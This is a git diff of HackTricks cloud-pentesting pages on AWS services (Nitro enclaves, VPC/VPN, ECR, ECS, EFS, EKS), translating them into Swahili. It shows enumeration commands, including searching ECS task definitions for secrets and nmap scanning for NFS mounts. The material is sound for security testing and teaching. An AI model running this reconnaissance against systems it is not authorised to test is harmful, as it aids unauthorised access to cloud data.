PCR3Jukumu la IAM lililotolewa kwa mfano wa mzaziVipimo vya mfuatano vya jukumu la IAM lililotolewa kwa mfano wa mzazi. Inahakikisha kwamba mchakato wa attestation unafanikiwa tu wakati mfano wa mzazi una jukumu sahihi la IAM.
PCR4ID ya mfano wa mzaziVipimo vya mfuatano vya ID ya mfano wa mzazi. Inahakikisha kwamba mchakato wa attestation unafanikiwa tu wakati mfano wa mzazi una ID maalum ya mfano.
PCR8Cheti cha kusaini faili ya picha ya enclaveVipimo vya cheti cha kusaini kilichotolewa kwa faili ya picha ya enclave. Inahakikisha kwamba mchakato wa attestation unafanikiwa tu wakati enclave ilizinduliwa kutoka kwa faili ya picha ya enclave iliyosainiwa na cheti maalum.
You can integrate **cryptographic attestation** into your applications and leverage pre-built integrations with services like **AWS KMS**. AWS KMS can **validate enclave attestations** and offers attestation-based condition keys (`kms:RecipientAttestation:ImageSha384` and `kms:RecipientAttestation:PCR`) in its key policies. These policies ensure that AWS KMS permits operations using the KMS key **only if the enclave's attestation document is valid** and meets the **specified conditions**. @@ -269,7 +239,3 @@ The research on how to modify/create new images to bypass each protection (spcia - All the parts of the Nitro tutorial from AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 03277bfd1..109eb5ff8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -17,9 +17,9 @@ Moreover, in order to **access Internet**, there are some interesting configurat - A **subnetwork** can **auto-assign public IPv4 addresses** - An **instance** created in the network that **auto-assign IPv4 addresses can get one** - An **Internet gateway** need to be **attached** to the **VPC** - - You could also use **Egress-only internet gateways** +- You could also use **Egress-only internet gateways** - You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**. - - The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs) +- The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs) ![](<../../../../images/image (274).png>) @@ -47,7 +47,7 @@ Route tables determine the traffic routing for a subnet within a VPC. They deter - Local VPC - NAT - Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet). - - In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. +- In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. - VPC endpoints (to access S3 from private networks) In the following images you can check the differences in a default public network and a private one: @@ -113,25 +113,25 @@ For every network interface that publishes data to the CloudWatch log group, it ### Basic AWS VPN Components 1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. +- A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. +- It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. +- You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. +- It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. 2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. +- A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. +- It is attached to your VPC and serves as the target for your VPN connection. +- VPG is the AWS side endpoint for the VPN connection. +- It handles the secure communication between your VPC and your on-premises network. 3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. +- A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. +- This type of connection requires a Customer Gateway and a Virtual Private Gateway. +- It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. +- Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. 4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +- A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. +- It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. +- It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. +- With Client VPN, each client device uses a VPN client software to establish a secure connection. ### Site-to-Site VPN @@ -140,7 +140,7 @@ For every network interface that publishes data to the CloudWatch log group, it - **VPN connection**: A secure connection between your on-premises equipment and your VPCs. - **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS. - Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. +Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. - **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device. - **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection. @@ -186,14 +186,10 @@ In addition, take the following into consideration when you use Site-to-Site VPN - Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**. - If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format. - ``` - SCRV1:: - ``` +``` +SCRV1:: +``` - The self-service portal is **not available for clients that authenticate using mutual authentication**. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 9025829b4..1fa14acc2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -8,47 +8,46 @@ #### Basic Information -Amazon **Elastic Container Registry** (Amazon ECR) is a **managed container image registry service**. It is designed to provide an environment where customers can interact with their container images using well-known interfaces. Specifically, the use of the Docker CLI or any preferred client is supported, enabling activities such as pushing, pulling, and managing container images. +Amazon **Elastic Container Registry** (Amazon ECR) ni **huduma ya usajili wa picha za kontena inayosimamiwa**. Imeundwa ili kutoa mazingira ambapo wateja wanaweza kuingiliana na picha zao za kontena kwa kutumia interfaces zinazojulikana. Kwa haswa, matumizi ya Docker CLI au mteja yeyote anayependelea yanasaidiwa, kuruhusu shughuli kama vile kusukuma, kuvuta, na kusimamia picha za kontena. -ECR is compose by 2 types of objects: **Registries** and **Repositories**. +ECR inajumuisha aina 2 za vitu: **Registries** na **Repositories**. **Registries** -Every AWS account has 2 registries: **Private** & **Public**. +Kila akaunti ya AWS ina registries 2: **Private** & **Public**. 1. **Private Registries**: -- **Private by default**: The container images stored in an Amazon ECR private registry are **only accessible to authorized users** within your AWS account or to those who have been granted permission. - - The URI of a **private repository** follows the format `.dkr.ecr..amazonaws.com/` -- **Access control**: You can **control access** to your private container images using **IAM policies**, and you can configure fine-grained permissions based on users or roles. -- **Integration with AWS services**: Amazon ECR private registries can be easily **integrated with other AWS services**, such as EKS, ECS... -- **Other private registry options**: - - The Tag immutability column lists its status, if tag immutability is enabled it will **prevent** image **pushes** with **pre-existing tags** from overwriting the images. - - The **Encryption type** column lists the encryption properties of the repository, it shows the default encryption types such as AES-256, or has **KMS** enabled encryptions. - - The **Pull through cache** column lists its status, if Pull through cache status is Active it will cache **repositories in an external public repository into your private repository**. - - Specific **IAM policies** can be configured to grant different **permissions**. - - The **scanning configuration** allows to scan for vulnerabilities in the images stored inside the repo. +- **Private kwa default**: Picha za kontena zilizohifadhiwa katika usajili wa kibinafsi wa Amazon ECR ni **zinapatikana tu kwa watumiaji walioidhinishwa** ndani ya akaunti yako ya AWS au kwa wale ambao wamepewa ruhusa. +- URI ya **repository ya kibinafsi** inafuata muundo `.dkr.ecr..amazonaws.com/` +- **Udhibiti wa ufikiaji**: Unaweza **kudhibiti ufikiaji** wa picha zako za kontena za kibinafsi kwa kutumia **sera za IAM**, na unaweza kuunda ruhusa za kina kulingana na watumiaji au majukumu. +- **Ushirikiano na huduma za AWS**: Usajili wa kibinafsi wa Amazon ECR unaweza **kuunganishwa kwa urahisi na huduma nyingine za AWS**, kama EKS, ECS... +- **Chaguzi nyingine za usajili wa kibinafsi**: +- Safu ya immutability ya Tag inaonyesha hali yake, ikiwa immutability ya tag imewezeshwa it **zuia** picha **kusukumwa** na **tags zilizopo** kutoka kufunika picha hizo. +- Safu ya **aina ya Uthibitishaji** inaonyesha mali za uthibitishaji za repository, inaonyesha aina za uthibitishaji za default kama AES-256, au ina **KMS** iliyowezeshwa. +- Safu ya **Pull through cache** inaonyesha hali yake, ikiwa hali ya Pull through cache ni Active itahifadhi **repositories katika usajili wa umma wa nje ndani ya repository yako ya kibinafsi**. +- Sera maalum za **IAM** zinaweza kuundwa ili kutoa ruhusa tofauti. +- **Mkonfigu wa skanning** inaruhusu kuchunguza udhaifu katika picha zilizohifadhiwa ndani ya repo. 2. **Public Registries**: -- **Public accessibility**: Container images stored in an ECR Public registry are **accessible to anyone on the internet without authentication.** - - The URI of a **public repository** is like `public.ecr.aws//`. Although the `` part can be changed by the admin to another string easier to remember. +- **Upatikanaji wa umma**: Picha za kontena zilizohifadhiwa katika usajili wa Umma wa ECR ni **zinapatikana kwa mtu yeyote kwenye mtandao bila uthibitisho.** +- URI ya **repository ya umma** ni kama `public.ecr.aws//`. Ingawa sehemu ya `` inaweza kubadilishwa na msimamizi kuwa string nyingine rahisi kukumbuka. **Repositories** -These are the **images** that in the **private registry** or to the **public** one. +Hizi ni **picha** ambazo ziko katika **usajili wa kibinafsi** au kwa **umum**. > [!NOTE] -> Note that in order to upload an image to a repository, the **ECR repository need to have the same name as the image**. +> Kumbuka kwamba ili kupakia picha kwenye repository, **repository ya ECR inahitaji kuwa na jina sawa na picha**. #### Registry & Repository Policies -**Registries & repositories** also have **policies that can be used to grant permissions to other principals/accounts**. For example, in the following repository policy image you can see how any user from the whole organization will be able to access the image: +**Registries & repositories** pia zina **sera ambazo zinaweza kutumika kutoa ruhusa kwa wahusika/akaunti nyingine**. Kwa mfano, katika picha ifuatayo ya sera ya repository unaweza kuona jinsi mtumiaji yeyote kutoka shirika zima atavyoweza kufikia picha hiyo:
#### Enumeration - ```bash # Get repos aws ecr describe-repositories @@ -68,7 +67,6 @@ aws ecr-public describe-repositories aws ecr get-registry-policy aws ecr get-repository-policy --repository-name ``` - #### Unauthenticated Enum {{#ref}} @@ -77,7 +75,7 @@ aws ecr get-repository-policy --repository-name #### Privesc -In the following page you can check how to **abuse ECR permissions to escalate privileges**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za ECR ili kupandisha mamlaka**: {{#ref}} ../aws-privilege-escalation/aws-ecr-privesc.md @@ -100,7 +98,3 @@ In the following page you can check how to **abuse ECR permissions to escalate p - [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index cbbf596fe..7427aec7f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -6,29 +6,28 @@ ### Basic Information -Amazon **Elastic Container Services** or ECS provides a platform to **host containerized applications in the cloud**. ECS has two **deployment** methods, **EC2** instance type and a **serverless** option, **Fargate**. The service **makes running containers in the cloud very easy and pain free**. +Amazon **Elastic Container Services** au ECS inatoa jukwaa la **kuendesha programu zilizowekwa kwenye kontena katika wingu**. ECS ina **mbinu mbili za kutekeleza**, aina ya **EC2** na chaguo la **serverless**, **Fargate**. Huduma hii **inafanya kuendesha kontena katika wingu kuwa rahisi na isiyo na maumivu**. -ECS operates using the following three building blocks: **Clusters**, **Services**, and **Task Definitions**. +ECS inafanya kazi kwa kutumia vizuizi vitatu vifuatavyo: **Clusters**, **Services**, na **Task Definitions**. -- **Clusters** are **groups of containers** that are running in the cloud. As previously mentioned, there are two launch types for containers, EC2 and Fargate. AWS defines the **EC2** launch type as allowing customers ā€œto run \[their] containerized applications on a cluster of Amazon EC2 instances that \[they] **manage**ā€. **Fargate** is similar and is defined as ā€œ\[allowing] you to run your containerized applications **without the need to provision and manage** the backend infrastructureā€. -- **Services** are created inside a cluster and responsible for **running the tasks**. Inside a service definition **you define the number of tasks to run, auto scaling, capacity provider (Fargate/EC2/External),** **networking** information such as VPCā€™s, subnets, and security groups. - - There **2 types of applications**: - - **Service**: A group of tasks handling a long-running computing work that can be stopped and restarted. For example, a web application. - - **Task**: A standalone task that runs and terminates. For example, a batch job. - - Among the service applications, there are **2 types of service schedulers**: - - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): The replica scheduling strategy places and **maintains the desired number** of tasks across your cluster. If for some reason a task shut down, a new one is launched in the same or different node. - - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Deploys exactly one task on each active container instance that has the needed requirements. There is no need to specify a desired number of tasks, a task placement strategy, or use Service Auto Scaling policies. -- **Task Definitions** are responsible for **defining what containers will run** and the various parameters that will be configured with the containers such as **port mappings** with the host, **env variables**, Docker **entrypoint**... - - Check **env variables for sensitive info**! +- **Clusters** ni **makundi ya kontena** yanayoendesha katika wingu. Kama ilivyotajwa hapo awali, kuna aina mbili za uzinduzi wa kontena, EC2 na Fargate. AWS inaelezea aina ya uzinduzi ya **EC2** kama inayo ruhusu wateja ā€œkuendesha \[programu zao] zilizowekwa kwenye kontena kwenye kundi la Amazon EC2 instances ambazo \[wanazisimamia]ā€. **Fargate** ni sawa na hiyo na inaelezwa kama ā€œ\[inayo ruhusu] wewe kuendesha programu zako zilizowekwa kwenye kontena **bila haja ya kuandaa na kusimamia** miundombinu ya nyumaā€. +- **Services** zinaundwa ndani ya kundi na zina jukumu la **kuendesha kazi**. Ndani ya ufafanuzi wa huduma **unafafanua idadi ya kazi za kuendesha, auto scaling, mtoa uwezo (Fargate/EC2/External),** **habari za mtandao** kama vile VPCā€™s, subnets, na vikundi vya usalama. +- Kuna **aina 2 za programu**: +- **Service**: Kundi la kazi zinazoshughulikia kazi za kompyuta zinazodumu ambazo zinaweza kusitishwa na kuanzishwa tena. Kwa mfano, programu ya wavuti. +- **Task**: Kazi huru inayokimbia na kumalizika. Kwa mfano, kazi ya batch. +- Kati ya programu za huduma, kuna **aina 2 za ratiba za huduma**: +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Mkakati wa ratiba ya replica huweka na **kuhifadhi idadi inayotakiwa** ya kazi katika kundi lako. Ikiwa kwa sababu fulani kazi itasitishwa, mpya itazinduliwa katika node ile ile au tofauti. +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Inapeleka kazi moja tu kwenye kila mfano wa kontena hai ambao una mahitaji yanayohitajika. Hakuna haja ya kubainisha idadi inayotakiwa ya kazi, mkakati wa kuweka kazi, au kutumia sera za Huduma ya Auto Scaling. +- **Task Definitions** zina jukumu la **kufafanua ni kontena gani zitakazoendesha** na vigezo mbalimbali ambavyo vitakavyowekwa na kontena kama vile **mappings za port** na mwenyeji, **env variables**, Docker **entrypoint**... +- Angalia **env variables kwa habari nyeti**! ### Sensitive Data In Task Definitions -Task definitions are responsible for **configuring the actual containers that will be running in ECS**. Since task definitions define how containers will run, a plethora of information can be found within. +Task definitions zina jukumu la **kuandaa kontena halisi zitakazoendesha katika ECS**. Kwa kuwa task definitions zinafafanua jinsi kontena zitakavyoendesha, taarifa nyingi zinaweza kupatikana ndani yake. -Pacu can enumerate ECS (list-clusters, list-container-instances, list-services, list-task-definitions), it can also dump task definitions. +Pacu inaweza kuhesabu ECS (list-clusters, list-container-instances, list-services, list-task-definitions), inaweza pia kutoa task definitions. ### Enumeration - ```bash # Clusters info aws ecs list-clusters @@ -52,8 +51,7 @@ aws ecs describe-tasks --cluster --tasks ## Look for env vars and secrets used from the task definition aws ecs describe-task-definition --task-definition : ``` - -### Unauthenticated Access +### Upatikanaji Usioidhinishwa {{#ref}} ../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -61,26 +59,22 @@ aws ecs describe-task-definition --task-definition : ### Privesc -In the following page you can check how to **abuse ECS permissions to escalate privileges**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia vibaya ruhusa za ECS ili kupandisha mamlaka**: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md {{#endref}} -### Post Exploitation +### Baada ya Kutekeleza {{#ref}} ../aws-post-exploitation/aws-ecs-post-exploitation.md {{#endref}} -### Persistence +### Kudumu {{#ref}} ../aws-persistence/aws-ecs-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index bcf4e58d4..78af1a342 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -6,20 +6,19 @@ ### Basic Information -Amazon Elastic File System (EFS) is presented as a **fully managed, scalable, and elastic network file system** by AWS. The service facilitates the creation and configuration of **file systems** that can be concurrently accessed by multiple EC2 instances and other AWS services. The key features of EFS include its ability to automatically scale without manual intervention, provision low-latency access, support high-throughput workloads, guarantee data durability, and seamlessly integrate with various AWS security mechanisms. +Amazon Elastic File System (EFS) inawasilishwa kama **sistema ya faili ya mtandao inayosimamiwa kikamilifu, inayoweza kupanuka, na elastiki** na AWS. Huduma hii inarahisisha uundaji na usanidi wa **sistema za faili** ambazo zinaweza kufikiwa kwa pamoja na mifano mingi ya EC2 na huduma nyingine za AWS. Vipengele muhimu vya EFS ni pamoja na uwezo wake wa kupanuka kiotomatiki bila kuingilia kati kwa mikono, kutoa ufikiaji wa latency ya chini, kusaidia mzigo wa kazi wa juu, kuhakikisha kudumu kwa data, na kuunganishwa kwa urahisi na mitambo mbalimbali ya usalama ya AWS. -By **default**, the EFS folder to mount will be **`/`** but it could have a **different name**. +Kwa **kawaida**, folda ya EFS ya kuunganisha itakuwa **`/`** lakini inaweza kuwa na **jina tofauti**. ### Network Access -An EFS is created in a VPC and would be **by default accessible in all the VPC subnetworks**. However, the EFS will have a Security Group. In order to **give access to an EC2** (or any other AWS service) to mount the EFS, itā€™s needed to **allow in the EFS security group an inbound NFS** (2049 port) **rule from the EC2 Security Group**. +EFS inaundwa katika VPC na itakuwa **kwa kawaida inapatikana katika mitandao yote ya VPC**. Hata hivyo, EFS itakuwa na Kundi la Usalama. Ili **kutoa ufikiaji kwa EC2** (au huduma nyingine yoyote ya AWS) kuunganisha EFS, inahitajika **kuruhusu katika kundi la usalama la EFS sheria ya NFS ya kuingia** (bandari 2049) **kutoka kwa Kundi la Usalama la EC2**. -Without this, you **won't be able to contact the NFS service**. +Bila hii, hu **wezi kuwasiliana na huduma ya NFS**. -For more information about how to do this check: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) +Kwa maelezo zaidi kuhusu jinsi ya kufanya hivi angalia: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) ### Enumeration - ```bash # Get filesystems and access policies (if any) aws efs describe-file-systems @@ -39,12 +38,10 @@ aws efs describe-replication-configurations # Search for NFS in EC2 networks sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` - > [!CAUTION] -> It might be that the EFS mount point is inside the same VPC but in a different subnet. If you want to be sure you find all **EFS points it would be better to scan the `/16` netmask**. +> Inaweza kuwa kwamba EFS mount point iko ndani ya VPC hiyo hiyo lakini katika subnet tofauti. Ikiwa unataka kuwa na uhakika kwamba unapata **EFS points zote, itakuwa bora kuskan `/16` netmask**. ### Mount EFS - ```bash sudo mkdir /efs @@ -58,70 +55,63 @@ sudo yum install amazon-efs-utils # If centos sudo apt-get install amazon-efs-utils # If ubuntu sudo mount -t efs :/ /efs/ ``` - ### IAM Access -By **default** anyone with **network access to the EFS** will be able to mount, **read and write it even as root user**. However, File System policies could be in place **only allowing principals with specific permissions** to access it.\ -For example, this File System policy **won't allow even to mount** the file system if you **don't have the IAM permission**: - +Kwa **kawaida** mtu yeyote mwenye **ufikiaji wa mtandao kwa EFS** ataweza kuunganisha, **kusoma na kuandika hata kama ni mtumiaji wa root**. Hata hivyo, sera za Mfumo wa Faili zinaweza kuwepo **zinazoruhusu tu wakuu wenye ruhusa maalum** kuweza kuzipata.\ +Kwa mfano, sera hii ya Mfumo wa Faili **haitaruhusu hata kuunganisha** mfumo wa faili ikiwa **huna ruhusa ya IAM**: ```json { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", - "Statement": [ - { - "Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "", - "Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", +"Statement": [ +{ +"Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "", +"Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - -Or this will **prevent anonymous access**: +Au hii itazuia **ufikiaji wa siri**:
-Note that to mount file systems protected by IAM you MUST use the type "efs" in the mount command: - +Kumbuka kwamba ili kuunganisha mifumo ya faili iliyolindwa na IAM LAZIMA utumie aina "efs" katika amri ya kuunganisha: ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ # To use a different pforile from ~/.aws/credentials # You can use: -o tls,iam,awsprofile=namedprofile ``` - ### Access Points -**Access points** are **application**-specific entry points **into an EFS file system** that make it easier to manage application access to shared datasets. +**Access points** ni **mipango** maalum ya kuingia **katika mfumo wa faili wa EFS** ambayo inafanya iwe rahisi kudhibiti ufikiaji wa programu kwa seti za data zinazoshirikiwa. -When you create an access point, you can **specify the owner and POSIX permissions** for the files and directories created through the access point. You can also **define a custom root directory** for the access point, either by specifying an existing directory or by creating a new one with the desired permissions. This allows you to **control access to your EFS file system on a per-application or per-user basis**, making it easier to manage and secure your shared file data. +Unapounda access point, unaweza **kueleza mmiliki na ruhusa za POSIX** kwa faili na saraka zinazoundwa kupitia access point. Pia unaweza **kufafanua saraka ya mizizi ya kawaida** kwa access point, ama kwa kueleza saraka iliyopo au kwa kuunda mpya yenye ruhusa zinazohitajika. Hii inakuwezesha **kudhibiti ufikiaji wa mfumo wako wa faili wa EFS kwa kila programu au kila mtumiaji**, na kufanya iwe rahisi kudhibiti na kulinda data zako za faili zinazoshirikiwa. **You can mount the File System from an access point with something like:** - ```bash # Use IAM if you need to use iam permissions sudo mount -t efs -o tls,[iam],accesspoint= \ - /efs/ + /efs/ ``` - > [!WARNING] -> Note that even trying to mount an access point you still need to be able to **contact the NFS service via network**, and if the EFS has a file system **policy**, you need **enough IAM permissions** to mount it. +> Kumbuka kwamba hata kujaribu kuunganisha kwenye pointi ya ufikiaji bado unahitaji kuwa na uwezo wa **kuwasiliana na huduma ya NFS kupitia mtandao**, na ikiwa EFS ina **sera** ya mfumo wa faili, unahitaji **idhini za kutosha za IAM** ili kuunganisha. -Access points can be used for the following purposes: +Pointi za ufikiaji zinaweza kutumika kwa madhumuni yafuatayo: -- **Simplify permissions management**: By defining a POSIX user and group for each access point, you can easily manage access permissions for different applications or users without modifying the underlying file system's permissions. -- **Enforce a root directory**: Access points can restrict access to a specific directory within the EFS file system, ensuring that each application or user operates within its designated folder. This helps prevent accidental data exposure or modification. -- **Easier file system access**: Access points can be associated with an AWS Lambda function or an AWS Fargate task, simplifying file system access for serverless and containerized applications. +- **Rahisisha usimamizi wa ruhusa**: Kwa kufafanua mtumiaji wa POSIX na kundi kwa kila pointi ya ufikiaji, unaweza kwa urahisi kusimamia ruhusa za ufikiaji kwa programu au watumiaji tofauti bila kubadilisha ruhusa za mfumo wa faili wa msingi. +- **Kuthibitisha saraka ya mzizi**: Pointi za ufikiaji zinaweza kuzuia ufikiaji kwenye saraka maalum ndani ya mfumo wa faili wa EFS, kuhakikisha kwamba kila programu au mtumiaji anafanya kazi ndani ya folda yake iliyotengwa. Hii husaidia kuzuia kufichuliwa au kubadilishwa kwa data kwa bahati mbaya. +- **Ufikiaji rahisi wa mfumo wa faili**: Pointi za ufikiaji zinaweza kuunganishwa na kazi ya AWS Lambda au kazi ya AWS Fargate, rahisisha ufikiaji wa mfumo wa faili kwa programu zisizo na seva na zilizofungwa kwenye kontena. ## Privesc @@ -142,7 +132,3 @@ Access points can be used for the following purposes: {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index a7ead6d10..e4c22ce6a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,17 +4,16 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS) is designed to eliminate the need for users to install, operate, and manage their own Kubernetes control plane or nodes. Instead, Amazon EKS manages these components, providing a simplified way to deploy, manage, and scale containerized applications using Kubernetes on AWS. +Amazon Elastic Kubernetes Service (Amazon EKS) imeundwa ili kuondoa hitaji la watumiaji kufunga, kuendesha, na kusimamia mpango wao wa kudhibiti Kubernetes au nodi. Badala yake, Amazon EKS inasimamia vipengele hivi, ikitoa njia rahisi ya kupeleka, kusimamia, na kupanua programu zilizowekwa kwenye kontena kwa kutumia Kubernetes kwenye AWS. -Key aspects of Amazon EKS include: +Vipengele muhimu vya Amazon EKS ni pamoja na: -1. **Managed Kubernetes Control Plane**: Amazon EKS automates critical tasks such as patching, node provisioning, and updates. -2. **Integration with AWS Services**: It offers seamless integration with AWS services for compute, storage, database, and security. -3. **Scalability and Security**: Amazon EKS is designed to be highly available and secure, providing features such as automatic scaling and isolation by design. -4. **Compatibility with Kubernetes**: Applications running on Amazon EKS are fully compatible with applications running on any standard Kubernetes environment. +1. **Mpango wa Kudhibiti Kubernetes uliopewa Usimamizi**: Amazon EKS inafanya kazi za muhimu kama vile kusasisha, kutoa nodi, na masasisho. +2. **Ushirikiano na Huduma za AWS**: Inatoa ushirikiano usio na mshono na huduma za AWS za kompyuta, uhifadhi, hifadhidata, na usalama. +3. **Uwezo wa Kupanuka na Usalama**: Amazon EKS imeundwa kuwa na upatikanaji wa juu na salama, ikitoa vipengele kama vile kupanuka kiotomatiki na kutengwa kwa muundo. +4. **Ulinganifu na Kubernetes**: Programu zinazotembea kwenye Amazon EKS zina ulinganifu kamili na programu zinazotembea kwenye mazingira yoyote ya kawaida ya Kubernetes. #### Enumeration - ```bash aws eks list-clusters aws eks describe-cluster --name @@ -32,19 +31,14 @@ aws eks describe-nodegroup --cluster-name --nodegroup-name aws eks list-updates --name aws eks describe-update --name --update-id ``` - -#### Post Exploitation +#### Baada ya Ukatili {{#ref}} ../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -## References +## Marejeleo - [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 980504dac..996bb76e0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -4,70 +4,69 @@ ## Elastic Beanstalk -Amazon Elastic Beanstalk provides a simplified platform for **deploying, managing, and scaling web applications and services**. It supports a variety of programming languages and frameworks, such as Java, .NET, PHP, Node.js, Python, Ruby, and Go, as well as Docker containers. The service is compatible with widely-used servers including Apache, Nginx, Passenger, and IIS. +Amazon Elastic Beanstalk inatoa jukwaa rahisi kwa 